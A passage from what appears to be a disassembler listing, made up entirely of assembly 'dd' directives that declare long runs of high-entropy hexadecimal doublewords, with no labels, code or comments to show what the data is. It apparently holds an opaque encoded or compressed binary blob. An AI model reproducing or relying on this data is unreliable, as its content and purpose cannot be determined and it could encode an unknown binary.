0FE43F014h, 4C6E5EA4h, 0C44A3A00h, 0F8024B1h, 5D404096h dd 42941FFh, 0B71BE754h, 4308C0F6h, 32141325h, 0BCD875CBh dd 14EA8C71h, 514CA87Ah, 32F81378h, 87C8E88Bh, 0C8514BC0h dd 579C0511h, 407BBA25h, 0D68C73E4h, 3C02044Dh, 0D0A93177h dd 1200D315h, 2318B278h, 336901BCh, 19673BC7h, 20042DE6h dd 0BA2EE1D8h, 0B725E4CBh, 51A18004h, 0A229FDF8h, 57F2890Bh dd 0E4DC6532h, 19626073h, 0FFDC25B8h, 2D20C82Ah, 0B3B96430h dd 7608BC9Eh, 2CA92779h, 0BDE5EC01h, 4C20295Ch, 31441F68h dd 993005E5h, 4C2A2890h, 0FAC7020Fh, 1A933A4Ah, 7593880h dd 85005F0Bh, 0AC644BF2h, 4CA7D141h, 0F5102C50h, 2CF0B6Ah dd 0FF14E970h, 0DC092C28h, 0A02123F4h, 4155BD5Dh, 0BCFF7F44h dd 736D0161h, 32C15D69h, 0F90881F7h, 0CE27823h, 16874130h dd 60C9D2B6h, 5602973Ch, 49F56117h, 8C3C5CD9h, 28C26ACh dd 10533316h, 0A481271Ch, 62941344h, 3088F26Ch, 8D7C2299h dd 4FE08B00h, 214D4E32h, 9A349659h, 0E40079B0h, 0FD4E31E3h dd 1081D798h, 21901720h, 56EE484Ah, 53F06C56h, 0FF2EF8D7h dd 0B981E8BBh, 75017FEFh, 8F67C050h, 55F71AFDh, 0CD8F81Ch dd 54E97940h, 0B8B3E87Fh, 69B12094h, 5448CE16h, 28C870CBh dd 53C48EC0h, 0E0EF0AE6h, 4807C9Bh, 21591965h, 0F00756Fh dd 0FE1EF4F2h, 0D3013952h, 0B1F7EDB0h, 0BDE08C21h, 86B72553h dd 0F0B8ECA4h, 5E743F44h, 0F84C345Ch, 6F008C8Dh, 0E93D5102h dd 48CFC2E0h, 0AC11B02Bh, 1DD1392Fh, 28ECA2C8h, 0F9796600h dd 298B3FBh, 0DCC9043Fh, 0C8647AF0h, 652F5EF8h, 0F798007Fh dd 8015F2E3h, 28F8B194h, 39A23806h, 9105231h, 8C40E4C4h dd 981D4CC3h, 9E80C982h, 0CDFC43C2h, 74FC9435h, 39006846h dd 6F980C15h, 2A05ACCAh, 563FA68Bh, 32869862h, 0F96C7C40h dd 0E08CD04Ch, 0F1B1B0h, 31ECFA08h, 6FD0787Bh, 0B90A201h dd 0EBC26774h, 0C9BC8C7Ch, 7E5C178Ch, 0A5B60298h, 844009A3h dd 31805DC6h, 15D912F1h, 575C0455h, 0C32CC8FAh, 3368048Ch dd 0A26F3BC6h, 8071C76Ch, 0FE2445A1h, 1383503Ch, 0EAF8D481h dd 0A5244639h, 619D786Dh, 42556F41h, 0BA112FB4h, 4F84507Ch dd 0E200C3BEh, 7FAD1B94h, 16813Bh, 0D4471503h, 0F5AB913Ah dd 5C4F115Fh, 8A8E972h, 39683Bh, 3D7BA785h, 0B2A153BEh dd 16901754h, 0B43C126Ah, 3F7DF850h, 0B5DFBF12h, 0F380609Bh dd 0F80FFB6Eh, 6C16DCBEh, 0C8CD3C24h, 722EF1D0h, 5B940097h dd 547ADCF8h, 0F8B9118Ch, 0E41887D1h, 0C3E39h, 5857491Bh dd 0A015AFEDh, 0B459B668h, 234676E8h, 0EF317600h, 0CFA7B97h dd 94C855h, 0B59C0BD4h, 87707862h, 8DFC040Dh, 0A2A823D4h dd 50413024h, 0F6504FB0h, 0E71389E8h, 0C49B3807h, 95975B80h dd 211FAD7Eh, 0B42E914Eh, 2452F908h, 10D55108h, 6F533Eh dd 632747C0h, 0AA024A6Dh, 0EC818090h, 56743898h, 5D9112ECh dd 22D7681Ch, 0D2BBA0D1h, 2F584434h, 5020A7F5h, 21765A84h dd 1C44BE12h, 0EDC1BC67h, 0B8CAB1B3h, 6AFBDCDCh, 0C890D97Ch dd 254674E8h, 0AEDFC412h, 27CF2D01h, 946D7442h, 94922F0Bh dd 9118570Fh, 0F8A93BF5h, 226C625Ch, 44649873h, 70B1FCF5h dd 465E20AEh, 6B3602C6h dd 767FEA88h, 7BD942E4h, 63008C0Ah, 0FABC8A39h, 5E35326Fh dd 506C6918h, 0D43B1C98h, 2C66AEEFh, 0C6808111h, 0A8F967F1h dd 0B3C04CB1h, 91F1ACh, 7859AEEAh, 4580C5D5h, 0FC40194Bh dd 0DA549287h, 0EE7F0005h, 9BF97BF1h, 6E027109h, 10EBA7BCh dd 801874BAh, 178628B1h, 20AF55Fh, 0B440AE3Ah, 0CDAA9801h dd 0A9CCEF99h, 0C0C77F4Dh, 7328118h, 0F15FAC2h, 5AA42AF0h dd 0E424886Fh, 0D2140854h, 874C8252h, 0DC8401D5h, 51CC32F6h dd 1449D074h, 97F3B91Dh, 58C6401h, 212090h, 0C9DDC05Bh dd 538092A1h, 9813ED9Ch, 83396116h, 58722C29h, 50D1C8B2h dd 0B809DD92h, 364024BDh, 60A79084h, 579745B0h, 109FED1Ah dd 598CBAF0h, 188A799Ch, 64BC1D7Ah, 1B0814Dh, 7031D8E9h dd 0E092AFC0h, 91A89797h, 82E68E24h, 745BF659h, 0D9BC8148h dd 0C4F14334h, 56006092h, 2A3A6FA9h, 17BDAF55h, 5AB2F44h dd 0A0BA17DCh, 4BF41484h, 0B2707553h, 7F023085h, 5C2C122Ch dd 87D11029h, 2B073B18h, 839FEF8h, 9FA018A9h, 0F6B901AEh dd 97443738h, 5DE86039h, 307C40h, 0A150F434h, 893A4A2Fh dd 5A3BFB12h, 822308E6h, 68F1C701h, 0AC7CB0F9h, 70ADACB1h dd 9C2CBF7Ah, 5B0968C9h, 37C4A1C7h, 0BA027D56h, 3AB81881h dd 14F8D740h, 6000E319h, 8DFBAC18h, 1ABDA16h, 13E62D3Bh dd 2F3E7A02h, 0BC7F4045h, 798174C1h, 60BA23F0h, 2E695174h dd 37013F53h, 6BEF529Eh, 0F0708AF4h, 66E0061h, 4E39EBAFh dd 24941A1Dh, 0C6D19CA9h, 0D102A118h, 840863BFh, 9346427h dd 0F70FFFF9h, 22551890h, 508E5D4Ah, 6BC18988h, 95C90708h dd 0DE20688Dh, 0A9D84158h, 3CF20083h, 0CCB8B8h, 235FC3Ah dd 92636B16h, 5CBDAD16h, 4FC42CA4h, 4370C85Bh, 1A046000h dd 0A72313CEh, 197408h, 25C742B2h, 0CD53776Ch, 0CF654C02h dd 0CDBFD362h, 0EAEE004h, 3906D297h, 50C512BCh, 31C08048h dd 0D0C7841Eh, 5B8935A1h, 5EBB03D4h, 18022699h, 0E179E7FCh dd 746C5617h, 0EC1FC646h, 2E83FC88h, 1F614EBAh, 6C207170h dd 562313F2h, 1880F00Dh, 40C9B698h, 0CF8890F5h, 1C9052h dd 6377BB16h, 0AD0EBD33h, 7BE060EFh, 9E07F080h, 0C0049220h dd 0A251BD8Ch, 0A48D80B2h, 0F6B786E7h, 7767876Eh, 0E7FB2070h dd 15DA2ED7h, 0C9467614h, 0E2E54F00h, 8B6FF96Bh, 0C2F45718h dd 25F5921h, 0E6064FBDh, 0ABC0EBE1h, 317A1AA4h, 823FE83Bh dd 540FF98Bh, 204CFAFAh, 0F0137F01h, 48E0B4DDh, 0E14619BBh dd 2B7A188Bh, 29D1700Bh, 0E458C530h, 8024608Bh, 59040975h dd 0C88FA99Dh, 0A06FFE27h, 2FB5F555h, 0BA44ACB8h, 1C5809D6h dd 88F1EAF4h, 38420D3Ch, 0A8A63176h, 0EF01F620h, 0BD96A9F7h dd 0A9BE7A59h, 20357816h, 26196978h, 972740B4h, 808791C0h dd 0E88B2184h, 0EDA805EAh, 0E1E00D59h, 0A56409CCh, 4D20E0E1h dd 156123Ch, 3328856Bh, 99E6BD14h, 0B8D683A2h, 30B63964h dd 0C82957B0h, 0A63B8B0Bh, 970C40F9h, 39092DF7h, 28C454E5h dd 576F3560h, 77952C07h, 0A692476Ah, 91FC7C5Dh, 95AE223Eh dd 71914097h, 1C00B08Bh, 484A1749h, 1D5DA22Dh, 83279158h dd 0C8F150A6h, 1C77FE3h, 55D73BA9h, 2E05A836h, 7DCCC844h dd 62169000h, 0F0BE7243h, 40102788h, 0C1533F52h, 0D08FBE2Ch dd 25562D08h, 463C3C40h, 5917DD17h, 17AA0CCh, 0FAC79FA5h dd 808D863Fh, 3DFB6C30h, 0E776BAF4h, 4A40406Fh, 426A8DD3h dd 0DD0C8C0Fh, 0D289802Ah, 5FDF2175h, 66902261h, 16F0D030h dd 0F2E0FACDh, 87C0C080h, 0E02113F0h, 14AF00FEh, 55684C2Ch dd 5A27CE88h, 0E5B0E545h, 0C050ACCAh, 31E783Eh, 7304166Bh dd 0CE50901Ah, 0CC017654h, 6195A7B1h, 29C8140Dh, 757655h dd 67070A90h, 0DC84ECC8h, 0C830F04Ah, 0C4A9E0AEh, 4794F418h dd 608082ADh, 26692C16h, 74A4ECCAh, 71D30F10h, 0F280A28Fh dd 7EDD618Ch, 0D72A3402h, 48BFE558h, 25A77CD4h, 0C08F8F89h dd 5234F393h, 3086E260h, 0C5ECBDE4h, 805370Bh, 0E5B6858Fh dd 2E25DBC1h, 7E50202Bh, 434E640Ah, 61010004h, 14A2D21Fh dd 0E00EFF80h, 0C1420FE3h, 0D872DE5Bh, 4D2B8600h, 22872C26h dd 53F604C2h, 0AD91A099h, 0B3231024h, 24A0F425h, 5D87ABA4h dd 0CDEDC600h, 78E3F59Bh, 0E4630357h, 0BDC4C783h, 20D6CA91h dd 25F54C74h, 88104E6Ch, 0BDC8C2C7h, 0E88A042h, 0B2A717A4h dd 0ACC14BECh, 0C8714138h, 0A8F0146Ah, 0B7F0910h, 45DF2731h dd 0D30CE1C0h, 9080871h, 0AD655112h, 630054F1h, 542D55F6h dd 7200040h, 7E4ABFB8h, 0A10B9BF4h, 0E2054EB9h, 0D7888000h dd 4FF51549h, 0DA38C8CCh, 0B9001772h, 77ADD9DFh, 0F84E8D14h dd 6D7A090Dh, 0C585B87h, 4AE9A844h, 0F6A0D081h, 0BB2D9808h dd 73EC6212h, 0BFB97018h, 0E016A85Ah, 0D014E8A4h, 4710B4E1h dd 24854A0Ch, 8888608Eh, 0C460C9C7h, 4EC5520h, 9DAE395Ch dd 70548092h, 0F09E9010h, 5A20878Bh, 0B52820F0h, 35661600h dd 0A62DE5FBh, 10184A01h, 8BAC441Ch, 4199008Ch, 1D5A8FCFh dd 4E103B70h, 0CA12713Dh, 0E214B275h, 33733070h, 0C415D2Eh dd 3C7E1F40h, 71CAA0B0h, 6EF20094h, 77A91E69h, 5539DD1Bh dd 603007FCh, 5BD2E5B1h, 98D13Eh, 8F3AC15Fh, 0B0107EEh dd 8EB068C3h, 0E82CC6EFh, 0ACF7DC0Dh, 986E2B81h, 3F08CF26h dd 9A641778h, 50E41D02h, 185B1FFEh, 64E4C727h, 82096723h dd 10C6F7Ch, 7A38F516h, 0DA0E746Bh, 1D80DDCBh, 0E007F920h dd 0F0A0D86Ah, 942C4480h, 0C127EBF5h, 0DE5D8468h, 0A2606386h dd 144F3071h, 101E4026h, 30FADC8Bh, 0D793151Ch, 0E230A2C9h dd 205D3021h, 5C88885Bh, 90BF412h, 0DF990FF2h, 9F4CA098h dd 0E725E300h, 0DDAE83A9h, 94E20E8Dh, 6D003345h, 689B8F4Eh dd 5946B917h, 59CEEC49h, 48A8E778h, 60788823h, 30A397F5h dd 52C0A92Bh, 0D27599Ah, 0AA80C148h, 342F4F71h, 0B210E2A8h dd 6229308Ah, 0E4B97200h, 5990E6DCh, 24972FE5h, 97BFF86Eh dd 83249178h, 0B0CADF12h, 4EFD4E3Ah, 732C4421h, 394404D9h dd 23582EAAh, 0E80F002Bh, 458DD9EEh, 42D52A00h, 0B3BA97BDh dd 8AE8D3h, 47EFF30Bh, 6EDB5A64h, 9520F33h, 932100C7h dd 0F9FB47E7h, 0FD066232h, 20319836h, 2F850041h, 7F6DD5ADh dd 121F0E84h, 1BC05B0Ch, 6C86B5A2h, 829A01AEh, 32E9D335h dd 0EB39800Fh, 94C55490h, 8EBB0CA6h, 2508968Ch, 895121C0h dd 1E33E054h, 4008A1D0h, 0E4E61E63h, 2EC07BD6h, 0AF6EFE6Dh dd 18FD7FD7h, 0B0943B60h, 0C50EB7D3h, 0A11E8DCEh, 0CF16D6EFh dd 21AA0898h, 0CE00BDDAh, 0A1119913h, 0EE2EAF81h, 20700152h dd 0AAC5D2F2h, 0F985E031h, 0A0B2581Fh, 94990CD8h, 89704Dh dd 816607E4h, 6AFBC5E7h, 0E83855E0h, 20026103h, 89C8C35Dh dd 4240C6Ch, 1C084481h, 554521C0h, 0E6BF61C3h, 8DC201E6h dd 0E80550F2h, 7238013h, 39FFAF3Eh, 0F4D20055h, 5A703542h dd 0D007B85Fh, 5B5132FAh, 0A3CF8170h, 41F81C10h, 0FF383AE9h dd 490BE898h, 7E008919h, 461F3091h, 7A2971A4h, 159D18F9h dd 8B5FC60Bh, 0B70FC10Eh, 1B5A3F1h, 0EB181B33h, 89834504h dd 191121E3h, 5E0312E9h, 43B0C371h, 0C2E14097h, 0D6E4A0EEh dd 32D5AE01h, 858D47B2h, 3A9C0DC5h, 8E94C60h, 1F007C3Fh dd 79998432h, 500FDE70h, 7613887h, 6E31A1BAh, 52506008h dd 1C0129BEh, 895F2CC2h dd 0BDCC2404h, 5A8DEB55h, 940E8B50h, 43C85FA3h, 3015A2CAh dd 8FA058F7h, 383053Dh, 79B8BE46h, 46A82502h, 1D6FF48Bh dd 0E831E6D8h, 35505225h, 48C35819h, 0FF4E44h, 2C35040h dd 5EAB1ECh, 0D88C085Fh, 0F0C20E03h, 3025856Ah, 0C083F712h dd 8D310506h, 52F11995h, 8A00F1E9h, 0C2DB3453h, 0B3106630h dd 92406735h, 0E1BD1431h, 465651Bh, 5B552153h, 5C89C8C3h dd 4319448Ch, 77C35300h, 0E12627DBh, 4423A7CFh, 0C887601Ah dd 4155090Eh, 5C0063DEh, 65FD6A4Bh, 7195FF0Ah, 52145324h dd 0C35A872Eh, 51078829h, 524250h, 0A02CBDC3h, 8DE045FCh dd 0D64B9D01h, 830F07E7h, 602B00CFh, 0B0D98B66h, 0FF0161F4h dd 0B8D8BFD3h, 85DC725Ch, 0E42029B9h, 181DD9E7h, 0B80E0075h dd 31DA9599h, 0B01893BFh, 79250AE8h, 1A8803B4h, 0F55082E0h dd 5E9A5F0h, 4A671FC0h, 7B6DB6F3h, 91CF495Eh, 1FE837h dd 11ED815Dh, 7CA03792h, 0E7831469h, 312AD563h, 0FEBD00Ch dd 0A101F986h, 18D1A70Ch, 1005718h, 8BC83C27h, 0A71AC59Dh dd 601AC4CDh, 1EEFA9FCh, 0D338349h, 0C1DF8F0Fh, 752157h dd 0E3815E72h, 565C52E1h, 0E4C35E30h, 22744689h, 56460017h dd 74BEDDC3h, 8D1829BFh, 0F5B631B9h, 6ADB640Bh, 0B86450B3h dd 0E9008C1Ch, 32304E84h, 613681Fh, 0D58D8975h, 833F662Dh dd 0D02FA8BDh, 3D84C180h, 958C3FD8h, 0B0E98013h, 0DE817C6h dd 0C010000Bh, 250CB52Ch, 3472A1E4h, 924AA409h, 0FBB490E8h dd 1B67A36h, 93EC647Ch, 0D8654D2Fh, 69024337h, 0FCA61383h dd 8D90875Fh, 0C712A219h, 0AB4A8885h, 1CD9DDA9h, 0D2FAB718h dd 510D3Eh, 139CE7Eh, 0C81F8DBDh, 1FA645D7h, 3F16AD0Ah dd 14FC10CEh, 31730F8Ch, 6F995D95h, 0EA8E100Eh, 7ABEE26h dd 0DD8611FEh, 0A760E02Dh, 5C938D42h, 59875191h, 4C8922C3h dd 4100E847h, 7BFEC351h, 537E013Bh, 0FA5D2C28h, 0FB20303Dh dd 0FF23810Eh, 2EE95CFEh, 9181471h, 68D0F18h, 6F858915h dd 0A89DDFD1h, 2069980Ch, 661030B9h, 19E8DB8Ch, 83FE398Ch dd 7E37B90Ch, 0F67BF9C2h, 22530448h, 0C11CA024h, 0C740821Eh dd 40822D91h, 3B62D3h, 0BF9025FBh, 1D303CAAh, 230D5077h dd 0A11C31BDh, 2E1210F8h, 941B42E9h, 1535C209h, 47B131Eh dd 522C545h, 0E43170E6h, 19C43255h, 6018003Dh, 78CACCC1h dd 5F14B2BAh, 8188810Fh, 0A859D09h, 8712507h, 5FC25787h dd 7C0FE1C3h, 47806E33h, 0D136C357h, 0A782410Ah, 0A508BD60h dd 4521701h, 21F972h, 0B60F615Fh, 0D11799D8h, 1A951816h dd 0BCBAA59Bh, 1DC46847h, 0AF332E60h, 3B745A01h, 59062301h dd 0AB950B20h, 47C3B2CFh, 6717440Ah, 0F80F0C70h, 89B51209h dd 863E4E25h, 0E8C10A11h, 1CD67E04h, 7157C240h, 3181AAh dd 53F7665Eh, 16A284E2h, 0EED1F931h, 24F28670h, 9057D82Bh dd 10D65809h, 502C186Dh, 0FC792F2h, 1CC66173h, 0F1581524h dd 97B52CFAh, 8A06EE4Ch, 58C97380h, 7F906378h, 50E412Eh dd 119467Ch, 5E3A6A93h, 824160D0h, 83222391h, 149D1062h dd 62A78344h, 13601C44h, 101C998Dh, 2C89169Bh, 48809C6h dd 5C803C4Eh, 0D2027F83h, 7E6F30h, 914166Ah, 0F632D1h dd 81769015h, 49FFAFDEh, 538D1249h, 3318A23Dh, 391F4988h dd 0C0E93529h, 3289A500h, 9AE2585Eh, 5D154187h, 88C50BA0h dd 0C294C015h, 0B6B1820Fh, 0EE3E1025h, 0C6510257h, 0D5ED48A5h dd 0ACC1A542h, 0BE661015h, 84D949E8h, 80665E55h, 0F00F28F1h dd 572C830Dh, 62A8210Ch, 3EDC1996h, 7600A220h, 30AB7891h dd 0B44E929h, 0F1F2F7h, 2E96C670h, 7851D166h, 0BCBA5849h dd 0E2530BEh, 57880FAAh, 0F8E10158h, 0FB1C8C17h, 0B997B562h dd 81660620h, 0B18A0BF7h, 1DA2C183h, 3B020279h, 1DCF41D9h dd 1BF80628h, 7B29018Ch, 4CFBB30Ch, 10E9D05Ah, 8AAA21C0h dd 1C53685Fh, 0C2518B92h, 6BA1E5D1h, 801DD985h, 0F6F8D9B6h dd 2493C159h, 467E43A2h, 0BC760517h, 0AC982C78h, 9AF1EC89h dd 0F5B590Ch, 0A30F3EBCh, 8136808Bh, 0DC30D813h, 0CC00AA23h dd 62FAA03Ah, 0C3522BBEh, 3016E25Eh, 2654EB7Fh, 243E042Bh dd 3DC6611Ch, 392D0834h, 0BE00AF42h, 6A298DAAh, 15C03CE9h dd 89B6D781h, 8B0E14ABh, 1AB846C0h, 0F2341C8Ch, 0AA8C8411h dd 0D5A5C135h, 8E0F0131h, 612C9B76h, 0D80A6F90h, 1B465C38h dd 1461124h, 0CBAEAAAh, 0E62531A0h, 4887C92Eh, 2CC7FCAAh dd 82486585h, 71681151h, 1944BD67h, 0B02BB660h, 0AB695B14h dd 0D20E5C95h, 8517F68Eh, 23323F34h, 40E3001Ch, 0FF579CB7h dd 94E8D112h, 0B4EECE03h, 8085CA12h, 0D9B2BE39h, 0A3275977h dd 1116F96h, 29610F6Bh, 0E154C58Dh, 9CE9BBD8h, 163C809Bh dd 34F5ECC6h, 0BF2F5500h, 0B5319081h, 0FD0B52A5h, 0BE060522h dd 4AD87B76h, 0A203685Bh, 1A46748Bh, 6E927C00h, 8817F742h dd 1F0CE830h, 71C7C1FDh, 0EFD700BEh, 0A43D4D77h, 0EE00BFE6h dd 5F127982h, 6F7DB529h, 0F8ACA130h, 5393F706h, 31B58902h dd 3C86091Fh, 259EFCE1h, 0DCEA00DEh, 0DD061A3h, 4F0A34D7h dd 0D2FDB523h, 31E39A6h, 0E50A050Ah, 2289A39Ch, 552F0262h dd 1BF9070Dh, 1711479Dh, 2531C081h, 0CBD4B877h, 0F59BBA12h dd 36064D8Bh, 605B1522h, 9CB16320h, 15490109h, 0C8AC0479h dd 535BE83Dh, 1F75850h, 1DF52140h, 0D8853161h, 75BDFD04h dd 0E9121692h, 0DBCEF753h, 0F5C01AC8h, 62E2BD4h, 0E98D5EA1h dd 3E481F2Ah, 524938D7h, 49E9BC01h, 65056C8Ah, 0C0D76B8Dh dd 1E34C845h, 94284200h, 0F78B9F7Eh, 0EA0600E1h, 0DE777D56h dd 5300E703h, 0B145633Dh, 0A7BD9Bh, 820FD13h, 9411C174h dd 0AA9AEF1Eh, 97266BC1h, 0C6207956h, 6480005Bh, 0C5DDBAD0h dd 0E27FBF8Dh, 6CA4B800h, 4D6B45D1h, 0FE42EEF4h, 0A0743Eh dd 68886114h, 0D69CAE17h, 65E2440Ch, 703C1D9Eh, 919A3ECCh dd 9FF8F483h, 7AC3738Dh, 809674F8h, 9C004876h, 41EFA86h dd 63E15CCh, 21D65306h, 0AD00443Ch, 4CC9EB44h, 60482518h dd 92A83030h, 0A00E8FEh, 14EEBCF4h, 3E08A6F6h, 3800102Eh dd 83FAAA81h, 0FB058FA5h, 3170AF21h, 41478640h, 305BD822h dd 3264C7A4h, 5E0070C9h, 0FF4F6744h, 1F6B8561h, 0F0E69359h dd 0A90B0925h, 18182CE4h, 8417D6ADh, 756CFA1Bh, 0AA7B0038h dd 0AB1DE05Bh, 9F14C650h, 158C4270h, 7EEABEFDh, 8CA07F00h dd 0D2A7B954h, 2307292h, 0CC679FB3h, 9DA09A61h, 0A8BE9C38h dd 233D4F00h, 49F62E46h, 6D1FC0B4h, 37C8F4B0h, 0E05C111Eh dd 0C06F20E5h, 0E26F24Eh, 64888987h, 3156E41h, 2A0F202Eh dd 0FC0A34FEh, 0E1D00861h, 9AACC200h, 87A780h, 9C35C537h dd 6BE0F2B8h, 2C09EE1Bh, 35CE070h, 5D2B00F1h, 7C1A6A7Eh dd 4E0086A0h, 338CA280h, 8D5B21h, 0B2B090B1h, 5D77CBC9h dd 6C2AE9A0h, 0E6B94207h, 0F18058A7h, 3E1922CEh, 0FD248FB7h dd 8B08002Eh, 6D8964DBh, 419A3501h, 0E5C3611Fh, 18ECD352h dd 8D016A38h, 6D0A1C75h, 4DCC4639h, 0C6A300B9h, 0CE401AAEh dd 2571DC90h, 623CBB12h, 4D92000h, 25F7B56h, 69805927h dd 0A7A117ECh, 80B047C4h, 64B51E0Dh, 46AA2FBh, 3C23632Ch dd 0BEA49061h, 58007B9Fh, 3738D3B2h, 14A6DEh, 467E9C76h dd 0A37F99ABh, 83518900h, 85538BA9h, 5A923DA6h, 0D898CC80h dd 87376F80h, 15B3A824h dd 0DCEA6D1Eh, 7D4F9654h, 0A1136300h, 772EFAF3h, 0C1D3033Fh dd 38502DFBh, 86745E80h, 7900297Dh, 48603DC9h, 0F22FAC10h dd 9C19003Bh, 7E9A75E8h, 0B100902Eh, 53698B9Dh, 1F502978h dd 70C7BC39h, 0D12A93EEh, 727640F8h, 33001BE8h, 0BEFBB604h dd 771565h, 1FF88498h, 1A2CC7FFh, 0A9BA5416h, 16E8104h dd 0F6683E80h, 8D6901A8h, 45579A3Dh, 0D700F3A6h, 0D4DF54C6h dd 2499880h, 166F8965h, 77AE2F04h, 0AF16E82h, 68C8C0A1h dd 0F1CD3EBh, 0A70059C2h, 5B0B8E6Fh, 0ED093DE4h, 0F678824h dd 91A00D5Dh, 1B536B48h, 0C7278005h, 480679Ah, 0A142678h dd 19DFA14Eh, 5F0784F4h, 539BD01Ch, 0CB14A6B8h, 11C65834h dd 0CA0001A1h, 28607A56h, 84A07D5Ah, 0A900E4A3h, 0C7C88123h dd 0E21EFB5h, 22F02848h, 60F22A80h, 2D601CE3h, 2F51BA68h dd 0BEF6B2h, 4B327249h, 0A2C1556Fh, 713EED73h, 0A61C83F4h dd 901B7D13h, 39528A9Eh, 1E304CB7h, 46C32318h, 1D0FB160h dd 12495BB4h, 7C9016Ah, 0AE4A31D4h, 8D6CA7A0h, 0E002079h dd 6BFF17F4h, 12D7855h, 0A4DC3553h, 800706F7h, 4BFB7E46h dd 957210h, 74516B7Dh, 0D5B2C85Ch, 0B785BD00h, 4C8AC2DAh dd 98C30083h, 50C50B26h, 0C00726Ch, 0EB03E0FAh, 57F8057h dd 58D8780Ah, 819B4027h, 5D39424Dh, 9AEA430Eh, 76BE8C1Dh dd 58A80011h, 0D1AB38E6h, 7B02DBF5h, 9DAFE5B9h, 143160D7h dd 44A60680h, 348330C7h, 23359E18h, 114ADC1Dh, 39946BE8h dd 7AB4E042h, 0A47486DFh, 9B7700D2h, 6BA96F81h, 0B700E2A2h dd 0E8204019h, 121411Ah, 0E3F54EE9h, 0F4D4ECC9h, 324F466h dd 0E5002A17h, 7D80E9CAh, 0A079031Dh, 39C6A1B3h, 9ED877D8h dd 2F404A4Ah, 0B00B1F4Ch, 72430212h, 444D8B60h, 69D8960h dd 0C0BD5F28h, 7E40E302h, 6070F4FFh, 9801A6h, 0B7CBAA48h dd 4D32DFA5h, 94427B00h, 0A1D9F1CEh, 0DDF73FD3h, 0E69E6703h dd 0BE98ADAAh, 83FADBB6h, 84910607h, 5420EBBDh, 0E16BF2C0h dd 0A6CBC4Ch, 0B9F59F1Ch, 515E2D91h, 89066801h, 1480BAF2h dd 0CBE5F760h, 4200D6EEh, 0FF374F2Ch, 608E0B6Dh, 0FC6525E9h dd 39989770h, 9992A40Ch, 71D1B19h, 0C2E2BB59h, 0EC5370B0h dd 630CF70Fh, 0E212EB89h, 0DCD21FBDh, 8212398Ch, 21DE404Eh dd 0E5E7653h, 0FB94702Ch, 0CF95A700h, 54118h, 0E0307E11h dd 66CC7863h, 0AD161C04h, 26904819h, 30B9455Bh, 3CE1C5DBh dd 80C0AA99h, 11B8D9B5h, 6A7A1CA9h, 0CD05405Eh, 0D8412032h dd 0F5D2A000h, 58B1D1AAh, 0AE75C4h, 0E7D481B9h, 0A25DE9FFh dd 0FE612500h, 5F750921h, 326A0082h, 39718564h, 82A38D6Bh dd 437B95B0h, 801CA839h, 870AEB23h, 1F1E93DFh, 82201F47h dd 0A481972Bh, 0FCEE9C0h, 92D62095h, 0EFD19F4h, 24B0F19Dh dd 5A6C7020h, 561E2877h, 0BBAE5C7Eh, 2F677D61h, 16987D8h dd 6C886331h, 618B6634h, 768AE818h, 18A23E52h, 0EE989B74h dd 0E6890956h, 0D372C681h, 0F1ED837Bh, 1F6D2CFFh, 8ABA8F5Eh dd 13EC815Ch, 0EE14890Fh, 8AE38F53h, 4B3B0CC3h, 6987F888h dd 2258381Ch, 3A0F6803h, 148B07E8h, 15C4813Ch, 2466543Dh dd 68151483h, 33327F2h, 0FF08408Fh, 9358B234h, 514B0F1Ch dd 0C18AE189h, 870CB162h, 0E980800Ch, 0FFFC3E6Ah, 40B100A2h dd 6D1D20F5h, 3F631BB8h, 0F8C50392h, 185ABE0h, 0FBA12EF8h dd 40F13017h, 82EE67E4h, 7FF07897h, 0B85A2456h, 46003E3Ah dd 0FF706827h, 36F862B4h, 43008BF8h, 5D2C5942h, 64D06Fh dd 589DBB56h, 0F629A305h, 0F4B60A02h, 0C3DD54F3h, 605DD2FBh dd 36138EBh, 8A3C3F51h, 0C4E04E36h, 6489953h, 52690168h dd 9E9C18Bh, 0CE2AE780h, 7D5D012Dh, 0DFE0AD12h, 8B0FB6F3h dd 9EF3A1BDh, 9CA68308h, 348CE1F4h, 974E8730h, 8166C398h dd 9170C70Ah, 17A5F150h, 801991FCh, 0F691CC76h, 89C80B2Ah dd 0DB61759Dh, 0B23A2B6Ah, 0D2001D23h, 0CE12C53Ch, 2BC00CA5h dd 0D6AE6DCAh, 543D5536h, 419428C8h, 8B0F27FEh, 0D95CA812h dd 29977049h, 1B8E890h, 0A6F3BA9Bh, 0D71F42Bh, 505F6E01h dd 61605153h, 0B590BADBh, 0F1678359h, 6DF83BF4h, 0C1A1223h dd 1D4CF5B8h, 801B11AAh, 187D96C7h, 9DE818A0h, 852946F6h dd 0B482394Ah, 801076E9h, 6EF3E258h, 0B701D4B1h, 0B4E4A280h dd 1D86CF5h, 0DA83123Ah, 1EADF31Fh, 3BC9CEBEh, 0AD917976h dd 0FE098C10h, 9000A9F2h, 0F572C3Ah, 1E3CC39Dh, 64298AC4h dd 1A09084Ch, 89D3FF07h, 97997D86h, 0B971A03Ah, 1B181959h dd 0A79B1F05h, 0FA063817h, 194447CFh, 0FD22E1BDh, 8D382FAAh dd 0E41419Eh, 0C01688BAh, 1DA1239h, 2ACD8D12h, 79C8ABF6h dd 6420C569h, 5FB76017h, 484987Fh, 29A450CEh, 8002E802h dd 0C97D21E1h, 9D8B0CD2h, 0F7E06FDh, 6D218F5Bh, 0B225E1B5h dd 0F96302Eh, 0E922F0BFh, 0D13C0013h, 0F5D981EFh, 0B9002FFFh dd 0FC8957D6h, 12293B1Ch, 0F4475D53h, 0E08B8F8Bh, 9714598Dh dd 400467A2h, 66103C19h, 0B41A4ABFh, 9D10A9E9h, 81159174h dd 11E9121Dh, 4CB51580h, 7817E7CCh, 50B4C100h, 0C6CDDF37h dd 7300529h, 985C710h, 0AA5B0149h, 1DAC27D8h, 0FC8778FDh dd 552E970Bh, 5BB63FE6h, 0BD952943h, 40099AA1h, 2677E2Eh dd 0C9858980h, 4005241Ah, 0FF32D0A0h, 8D4942h, 384C8188h dd 2E1F41A9h, 442A4274h, 0FA001B23h, 0ACF63B33h, 1ABF2EE2h dd 38F21439h, 79950183h, 9040BDBCh, 8C15A835h, 9197C678h dd 0E3154239h, 862F5F87h, 0F001623h, 0BD29D926h, 7A719ACDh dd 93824A50h, 52C360F2h, 585A31C8h, 8990614Fh, 802AED95h dd 22F5A3E9h, 148110AEh, 0C94BB038h, 0FDF3E04Fh, 5EBDA517h dd 2A9F2B00h, 13694517h, 0E670E6EDh, 49A3E086h, 0A23B09BFh dd 0A9F9671Dh, 0E58E7A00h, 99BE28h, 7B769E23h, 0BFC54373h dd 6EDCC700h, 371E4A4h, 29CD24B5h, 0D8B68E12h, 